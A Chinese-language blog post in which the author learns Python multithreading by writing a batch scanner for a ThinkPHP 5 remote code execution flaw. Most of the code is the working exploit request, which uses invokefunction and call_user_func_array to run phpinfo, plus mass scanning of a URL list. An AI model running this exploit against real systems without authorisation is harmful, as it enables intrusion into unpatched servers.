很久以前一直想要学习python多线程脚本的编写,奈何学习能力太差了,一直没能理解其中的知识,这次下定决心学习一下多线程脚本的实现,因为这个功能实在是太重要了,一个脚本运行速度的快慢,对你工作的效率起着决定性的作用。所以,学会多线程迫在眉睫。
这里记录一下我写的第一个多线程脚本,关于线程我就不说了,网上有很多教程,这个旨在记录我学习理解的多线程并实现脚本的编写。
这是一个tp5的一个远程代码执行的poc,实现的是批量扫描是否存在这个漏洞,主要代码:
# -*- coding:UTF-8 -*-
import requests
import sys
import threading
def check(url):
parameters = "s=index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1"
try:
responce = requests.get(url = url, params = parameters)
body = responce.text
if body.find('PHP Extension') != -1:
with open("success.txt", "a") as f1:
f1.write(url + "\n")
print("[+] " + url)
else:
print("[-] " + url)
except:
print("Failed connect")
pass
threads = []
with open(sys.argv[1], "r") as f:
for url in f.readlines():
url = url.strip()
t = threading.Thread(target=check, args=(url, ))
threads.append(t)
if __name__ == '__main__':
n = 0
while n < len(threads):
for i in threads[n:n+10]:
i.start()
for i in threads[n:n+10]:
i.join() #join方法的作用是阻塞,等待子线程结束,join方法有一个参数是timeout,即如果主线程等待timeout,子线程还没有结束,则主线程强制结束子线程
n += 10 #python 默认参数创建线程后,不管主线程是否执行完毕,都会等待子线程执行完毕一起退出,有无join结果是一样的。
check函数就是用来发起requests请求,发送相关poc进行验证是否存在tp5这个漏洞。
打开存放url的文件,然后循环创建线程,将创建好的线程放在threads这个列表中。
with open(sys.argv[1], "r") as f:
for url in f.readlines():
url = url.strip()
t = threading.Thread(target=check, args=(url, ))
threads.append(t)
然后在主函数中调用这些线程出来 start即可
我遇到的问题就是不一次性 start 所有的线程,想通过某种方法限制线程的数量,实现可控的多线程数量。
这里我想到了使用一个变量来控制这个数量
if __name__ == '__main__':
n = 0
while n < len(threads):
for i in threads[n:n+10]:
i.start()
for i in threads[n:n+10]:
i.join()
n += 10
在这个代码中,我设置了变量n初始值为0。想要线程数为10,在for循环当中只需 n+10,然后每执行完10个线程过后,将n加上10,这样就实现了每次运行的线程数为10的效果。然后根据需要,这个线程数是可以设置的。
这是我对我写的第一个多线程扫描脚本的一个记录,它的一个效果就是每次只执行10个线程(这个10是针对我提供的脚本而言),当10个线程都执行完了之后才会继续执行另10个线程。
但是学长提醒我的一个思路就是:先执行10个线程,然后记录每一个线程,如果一个线程的函数执行完毕,那么运行的线程数 -1,反之,增加一个线程,运行的线程数 +1。每次执行函数前,先判断线程数是否为10,如果小于10,继续添加线程,保证每次运行的线程数都是10。
学长的这个思路效果更优,就避免了我这种写法的一个弊端:同时运行10个线程,有的线程先完成,然后等剩余的完成了之后,才会开始下一次的10个线程。 中间还是缩短了一些时间的,这种的话要在扫描更多的内容的时候才会感受的出来。
后面思考一下,看能否实现。
如果有表哥有什么更好的建议或者发现有错误请在下面留言。